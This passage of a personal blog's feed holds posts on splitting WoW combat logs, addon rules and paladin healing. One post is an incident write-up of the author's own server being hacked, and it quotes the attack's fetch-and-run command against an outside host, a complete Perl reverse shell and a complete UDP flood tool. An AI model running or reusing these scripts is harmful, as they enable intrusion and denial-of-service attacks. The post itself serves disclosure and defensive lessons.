&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1"># To handle the first line</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> last_timestamp == <span class="kw2">None</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; last_timestamp = timestamp<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; split_log = Appender<span class="br0">&#40;</span>timestamp<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Starting new file&quot;</span>, split_log.<span class="me1">filename</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; difference = timestamp - last_timestamp<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> difference.<span class="me1">seconds</span> <span class="sy0">&gt;</span> GAP_SIZE_IN_SECONDS:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1"># Close the old log file, and start a new one</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; split_log.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; split_log = Appender<span class="br0">&#40;</span>timestamp<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Starting new file&quot;</span>, split_log.<span class="me1">filename</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; split_log.<span class="me1">append</span><span class="br0">&#40;</span>line<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; last_timestamp = timestamp<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> line_count <span class="sy0">%</span> <span class="nu0">100000</span> == <span class="nu0">0</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Processed %d lines&quot;</span> <span class="sy0">%</span> <span class="br0">&#40;</span>line_count,<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
<br />
<br />
&nbsp; &nbsp; <span class="kw1">def</span> parse_timestamp<span class="br0">&#40;</span><span class="kw2">self</span>, line<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1"># m/d hh:mm:ss.msec</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1"># 6/6 21:04:29.435</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; regex = r<span class="st0">&quot;^(<span class="es0">\d</span>+)/(<span class="es0">\d</span>+) (<span class="es0">\d</span>+):(<span class="es0">\d</span>+):(<span class="es0">\d</span>+).(<span class="es0">\d</span>+) &quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; matches = <span class="kw3">re</span>.<span class="me1">search</span><span class="br0">&#40;</span>regex, line<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> matches == <span class="kw2">None</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">None</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; timestamp = <span class="kw3">datetime</span>.<span class="kw3">datetime</span><span class="br0">&#40;</span><span class="nu0">2009</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">int</span><span class="br0">&#40;</span>matches.<span class="me1">group</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">int</span><span class="br0">&#40;</span>matches.<span class="me1">group</span><span class="br0">&#40;</span><span class="nu0">2</span><span class="br0">&#41;</span><span class="br0">&#41;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">int</span><span class="br0">&#40;</span>matches.<span class="me1">group</span><span class="br0">&#40;</span><span class="nu0">3</span><span class="br0">&#41;</span><span class="br0">&#41;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">int</span><span class="br0">&#40;</span>matches.<span class="me1">group</span><span class="br0">&#40;</span><span class="nu0">4</span><span class="br0">&#41;</span><span class="br0">&#41;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">int</span><span class="br0">&#40;</span>matches.<span class="me1">group</span><span class="br0">&#40;</span><span class="nu0">5</span><span class="br0">&#41;</span><span class="br0">&#41;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">int</span><span class="br0">&#40;</span>matches.<span class="me1">group</span><span class="br0">&#40;</span><span class="nu0">6</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">*</span><span class="nu0">1000</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> timestamp<br />
<br />
<br />
<span class="kw1">class</span> Appender:<br />
&nbsp; &nbsp; <span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>, timestamp<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">filename</span> = <span class="st0">&quot;WoWCombatLog_&quot;</span> + timestamp.<span class="me1">strftime</span><span class="br0">&#40;</span><span class="st0">&quot;%Y%m%d_%H%M%S&quot;</span><span class="br0">&#41;</span> + <span class="st0">&quot;.txt&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">handle</span> = <span class="kw2">open</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">filename</span>, <span class="st0">'a'</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="kw1">def</span> append<span class="br0">&#40;</span><span class="kw2">self</span>, line<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">handle</span>.<span class="me1">write</span><span class="br0">&#40;</span>line<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="kw1">def</span> close<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">handle</span>.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
<br />
<br />
splitter = CombatLog<span class="br0">&#40;</span><span class="st0">&quot;../WoWCombatLog.20090904.txt&quot;</span><span class="br0">&#41;</span><br />
splitter.<span class="me1">process</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
<br />
<span class="kw1">print</span> <span class="st0">&quot;Done&quot;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2009/09/wow-combat-log-splitter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>hacked</title>
		<link>http://project-2501.net/index.php/2009/09/hacked/</link>
		<comments>http://project-2501.net/index.php/2009/09/hacked/#comments</comments>
		<pubDate>Tue, 01 Sep 2009 07:52:56 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=194</guid>
		<description><![CDATA[Yep, I was hacked 5 days ago.  Seems I&#8217;ve been part of some DOS attack (I forgot to record the IPs of who, and it was only ~60GB of traffic).
From what I can tell, it exploited an (old, now patched) hole in PHPMyAdmin that let you write PHP files with what ever content you [...]]]></description>
			<content:encoded><![CDATA[<p>Yep, I was hacked 5 days ago.  Seems I&#8217;ve been part of some DOS attack (I forgot to record the IPs of who, and it was only ~60GB of traffic).</p>
<p>From what I can tell, it exploited an (old, now patched) hole in PHPMyAdmin that let you write PHP files with what ever content you wanted.  <a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1151">CVE-2009-1151</a>.  An implementation of that attack is available from <a href="http://www.gnucitizen.org/static/blog/2009/06/phpmyadminrcesh.txt">GNU Citizen</a></p>
<p>Of course after that, you&#8217;re able to do anything the web server can.  The command that was run on my server was:</p>
<div class="codecolorer-container text " style="overflow:auto;white-space:nowrap;width:540px"><div class="text codecolorer" style="font-family:Monaco,Lucida Console,monospace">/admin/phpmyadmin/config/config.inc.php?c=cd%20/tmp;wget%20mixtheremix.ucoz.com/robot.txt;perl%20robot.txt;rm%20-rf%20robot.txt</div></div>
<p>ucoz.com is a free website service.  I was also unable to recover robot.txt</p>
<p>The script appear to download and execute two scripts:<br />
<strong>back.txt</strong></p>
<div class="codecolorer-container perl " style="overflow:auto;white-space:nowrap;width:540px;height:300px"><div class="perl codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="co1">#!/usr/bin/perl</span><br />
<span class="kw2">use</span> IO<span class="sy0">::</span><span class="me2">Socket</span><span class="sy0">;</span><br />
<span class="re0">$system</span> &nbsp; &nbsp;<span class="sy0">=</span> <span class="st_h">'/bin/bash'</span><span class="sy0">;</span><br />
<span class="re0">$ARGC</span><span class="sy0">=</span><span class="re0">@ARGV</span><span class="sy0">;</span><br />
<span class="kw3">print</span> <span class="st0">&quot;--== Fucking Machine ==-- <span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ARGC</span><span class="sy0">!=</span><span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp;<span class="kw3">print</span> <span class="st0">&quot;Usage: $0 [Host] [Port] <span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp;<span class="kw3">die</span> <span class="st0">&quot;Ex: $0 127.0.0.1 2121 <span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
<span class="kw2">use</span> Socket<span class="sy0">;</span><br />
<span class="kw2">use</span> FileHandle<span class="sy0">;</span><br />
<span class="kw3">socket</span><span class="br0">&#40;</span>SOCKET<span class="sy0">,</span> PF_INET<span class="sy0">,</span> SOCK_STREAM<span class="sy0">,</span> <span class="kw3">getprotobyname</span><span class="br0">&#40;</span><span class="st_h">'tcp'</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="kw1">or</span> <span class="kw3">die</span> <span class="kw3">print</span> <span class="st0">&quot;[-] Unable to Resolve Host<span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
<span class="kw3">connect</span><span class="br0">&#40;</span>SOCKET<span class="sy0">,</span> sockaddr_in<span class="br0">&#40;</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="sy0">,</span> inet_aton<span class="br0">&#40;</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="kw1">or</span> <span class="kw3">die</span> <span class="kw3">print</span> <span class="st0">&quot;[-] Unable to Connect Host<span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
<span class="kw3">print</span> <span class="st0">&quot;[*] Spawning Shell <span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
SOCKET<span class="sy0">-&gt;</span><span class="me1">autoflush</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="kw3">open</span><span class="br0">&#40;</span><span class="kw2">STDIN</span><span class="sy0">,</span> <span class="st0">&quot;&gt;&amp;SOCKET&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="kw3">open</span><span class="br0">&#40;</span><span class="kw2">STDOUT</span><span class="sy0">,</span><span class="st0">&quot;&gt;&amp;SOCKET&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="kw3">open</span><span class="br0">&#40;</span><span class="kw2">STDERR</span><span class="sy0">,</span><span class="st0">&quot;&gt;&amp;SOCKET&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="kw3">print</span> <span class="st0">&quot;--== Thuraya Team ==-- &nbsp;<span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
<span class="kw3">system</span><span class="br0">&#40;</span><span class="st0">&quot;unset HISTFILE; unset SAVEFILE; unset HISTSAVE; history -n; unset WATCH; export HISTFILE=/dev/null ;echo --==Systeminfo==-- ; uname -a;echo;echo --==Uptime==--; w;echo;<br />
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- &quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="kw3">system</span><span class="br0">&#40;</span><span class="re0">$system</span><span class="br0">&#41;</span><span class="sy0">;</span></div></div>
<p><strong>udp.pl</strong></p>
<div class="codecolorer-container perl " style="overflow:auto;white-space:nowrap;width:540px;height:300px"><div class="perl codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="co1">#!/usr/bin/perl</span><br />
<br />
<br />
<span class="kw2">use</span> Socket<span class="sy0">;</span><br />
<br />
<span class="re0">$ARGC</span><span class="sy0">=</span><span class="re0">@ARGV</span><span class="sy0">;</span><br />
<br />
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ARGC</span> <span class="sy0">!=</span><span class="nu0">3</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp;<span class="kw3">printf</span> <span class="st0">&quot;$0 &lt;ip&gt; &lt;port&gt; &lt;time&gt;<span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
&nbsp;<span class="kw3">printf</span> <span class="st0">&quot;for any info vizit http://hacking.3xforum.ro/ <span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
&nbsp;<span class="kw3">exit</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
<br />
<span class="kw1">my</span> <span class="br0">&#40;</span><span class="re0">$ip</span><span class="sy0">,</span><span class="re0">$port</span><span class="sy0">,</span><span class="re0">$size</span><span class="sy0">,</span><span class="re0">$time</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp;<span class="re0">$ip</span><span class="sy0">=</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
&nbsp;<span class="re0">$port</span><span class="sy0">=</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="sy0">;</span> <br />
&nbsp;<span class="re0">$time</span><span class="sy0">=</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
<br />
<span class="kw3">socket</span><span class="br0">&#40;</span>crazy<span class="sy0">,</span> PF_INET<span class="sy0">,</span> SOCK_DGRAM<span class="sy0">,</span> <span class="nu0">17</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="re0">$iaddr</span> <span class="sy0">=</span> inet_aton<span class="br0">&#40;</span><span class="st0">&quot;$ip&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
<span class="kw3">printf</span> <span class="st0">&quot;Amu Floodez $ip pe portu $port <span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
<span class="kw3">printf</span> <span class="st0">&quot;daca nu pica in 10 min dai pe alt port <span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
<br />
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">==</span><span class="nu0">0</span> <span class="sy0">&amp;&amp;</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="sy0">==</span><span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp;<span class="kw3">goto</span> randpackets<span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">!=</span><span class="nu0">0</span> <span class="sy0">&amp;&amp;</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="sy0">!=</span><span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp;<span class="kw3">system</span><span class="br0">&#40;</span><span class="st0">&quot;(sleep $time;killall -9 udp) &amp;&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp;<span class="kw3">goto</span> packets<span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">!=</span><span class="nu0">0</span> <span class="sy0">&amp;&amp;</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="sy0">==</span><span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp;<span class="kw3">goto</span> packets<span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">==</span><span class="nu0">0</span> <span class="sy0">&amp;&amp;</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="sy0">!=</span><span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp;<span class="kw3">system</span><span class="br0">&#40;</span><span class="st0">&quot;(sleep $time;killall -9 udp) &amp;&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span> <br />
&nbsp;<span class="kw3">goto</span> randpackets<span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
<br />
packets<span class="sy0">:</span><br />
<span class="kw1">for</span> <span class="br0">&#40;</span><span class="sy0">;;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp;<span class="re0">$size</span><span class="sy0">=</span><span class="re0">$rand</span> x <span class="re0">$rand</span> x <span class="re0">$rand</span><span class="sy0">;</span><br />
&nbsp;<span class="kw3">send</span><span class="br0">&#40;</span>crazy<span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="re0">$size</span><span class="sy0">,</span> sockaddr_in<span class="br0">&#40;</span><span class="re0">$port</span><span class="sy0">,</span> <span class="re0">$iaddr</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span> <br />
<br />
randpackets<span class="sy0">:</span><br />
<span class="kw1">for</span> <span class="br0">&#40;</span><span class="sy0">;;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp;<span class="re0">$size</span><span class="sy0">=</span><span class="re0">$rand</span> x <span class="re0">$rand</span> x <span class="re0">$rand</span><span class="sy0">;</span><br />
&nbsp;<span class="re0">$port</span><span class="sy0">=</span><span class="kw3">int</span><span class="br0">&#40;</span><span class="kw3">rand</span> <span class="nu0">65000</span><span class="br0">&#41;</span> <span class="sy0">+</span><span class="nu0">1</span><span class="sy0">;</span><br />
&nbsp;<span class="kw3">send</span><span class="br0">&#40;</span>crazy<span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="re0">$size</span><span class="sy0">,</span> sockaddr_in<span class="br0">&#40;</span><span class="re0">$port</span><span class="sy0">,</span> <span class="re0">$iaddr</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span></div></div>
<p>What I&#8217;ve learnt:</p>
<ul>
<li>Keep PHPMyAdmin up to date, because they suck at security (The whole idea of a PHP script being able to write a PHP script is stupid)
<li>(Failing the last point) Don&#8217;t leave un-maintained PHP scripts in publicly accessible locations</li>
<li>Investigate in a way to disable system/eval in PHP (with a whitelist)</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2009/09/hacked/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>that just happened</title>
		<link>http://project-2501.net/index.php/2009/07/that-just-happened/</link>
		<comments>http://project-2501.net/index.php/2009/07/that-just-happened/#comments</comments>
		<pubDate>Fri, 03 Jul 2009 10:44:41 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[games]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=187</guid>
		<description><![CDATA[That Just Happened is a simple bu very useful WoW addon that allows you report when certain events happen, like Guardian Spirit on someone, or when a Polymorph breaks.
Below are the rules I currently use:
event;source;target;spellname;affiliation;channel;spam
SPELL_AURA_APPLIED;;;Hand of Salvation;;RAID;Hand of Salvation on *target (*source)
SPELL_AURA_APPLIED;;;Hand of Sacrifice;;RW;Hand of Sacrifice on *target (*source)
SPELL_AURA_APPLIED;;;Guardian Spirit;;RW;Guardian Spirit on *target (*source)
SPELL_AURA_APPLIED;;;Shield Wall;;RW;Shield [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://wow.curse.com/downloads/details/12715/">That Just Happened</a> is a simple bu very useful WoW addon that allows you report when certain events happen, like Guardian Spirit on someone, or when a Polymorph breaks.</p>
<p>Below are the rules I currently use:</p>
<div class="codecolorer-container text " style="overflow:auto;white-space:nowrap;width:540px"><div class="text codecolorer" style="font-family:Monaco,Lucida Console,monospace">event;source;target;spellname;affiliation;channel;spam<br />
SPELL_AURA_APPLIED;;;Hand of Salvation;;RAID;Hand of Salvation on *target (*source)<br />
SPELL_AURA_APPLIED;;;Hand of Sacrifice;;RW;Hand of Sacrifice on *target (*source)<br />
SPELL_AURA_APPLIED;;;Guardian Spirit;;RW;Guardian Spirit on *target (*source)<br />
SPELL_AURA_APPLIED;;;Shield Wall;;RW;Shield Wall on *source<br />
SPELL_AURA_APPLIED;;;Divine Protection;;RW;Divine Protection on *source<br />
SPELL_INTERRUPT;;;;;RAID;*source interrupted *target<br />
SPELL_AURA_APPLIED;;;Pain Suppression;;RW;Pain Suppression on *target (*source)<br />
SPELL_CAST_SUCCESS;;;Divine Sacrifice;;RW;Divine Sacrifice (*source)<br />
SPELL_AURA_APPLIED;Soran;;Holy Mending;;SELF;<br />
SPELL_AURA_APPLIED;;;Hand of Protection;;RW;Hand of Protection on *target (*source)</div></div>
<p><em>(We&#8217;ve not had a DK tank for a long time, so no CDs listed for them)</em></p>
<p>Maintankadin has a great <a href="http://maintankadin.failsafedesign.com/viewtopic.php?f=9&#038;t=10819">overview with many more examples</a></p>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2009/07/that-just-happened/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>3.2 Rolling FoL SS HoTs</title>
		<link>http://project-2501.net/index.php/2009/06/32-rolling-fol-ss-hots/</link>
		<comments>http://project-2501.net/index.php/2009/06/32-rolling-fol-ss-hots/#comments</comments>
		<pubDate>Mon, 22 Jun 2009 08:31:21 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=172</guid>
		<description><![CDATA[Holy Paladin changes in 3.2 seem pretty significant, I&#8217;m currently hoping the FoL/HoT mechanic works a little like ignite, where in effect you have n number of buffs up on the target, and WoW just consolidates them into one  (As oppose to old ignite rolling, where each time the debuff was added, the damage [...]]]></description>
			<content:encoded><![CDATA[<p>Holy Paladin changes in 3.2 seem pretty significant, I&#8217;m currently hoping the FoL/HoT mechanic works a little like ignite, where in effect you have <em>n</em> number of buffs up on the target, and WoW just consolidates them into one  (As oppose to old ignite rolling, where each time the debuff was added, the damage was added to the previous debuff and the time reset, resulting in massive damage with lots of luck).</p>
<p>I&#8217;m 95% sure the FoL SS HoT won&#8217;t work like this, but I wanted to test how it would work at current gear levels.</p>
<p><!-- Horrible CCS hacks to add padding back to my poor tables --></p>
<style>
.mytable_172 td
{
padding: 0.2em;
}
</style>
<table class="mytable_172" cellspacing="0" cellpadding="2" cols="1" border="1" style="border: 1px solid #ccc; border-collapse: collapse;">
<tbody>
<tr>
<td><B>0</B></td>
<td>5000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>5000</I></td>
</tr>
<tr>
<td><B>0.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>0</I></td>
</tr>
<tr>
<td><B>1</B></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>1.5</B></td>
<td></td>
<td>5000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>5000</I></td>
</tr>
<tr>
<td><B>2</B></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>2.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>3</B></td>
<td>417</td>
<td></td>
<td>5000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>5417</I></td>
</tr>
<tr>
<td><B>3.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>4</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>4.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>5000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>5417</I></td>
</tr>
<tr>
<td><B>5</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>5.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>6</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>5000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>5833</I></td>
</tr>
<tr>
<td><B>6.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>7</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>7.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>5000</td>
<td></td>
<td></td>
<td></td>
<td><I>5833</I></td>
</tr>
<tr>
<td><B>8</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
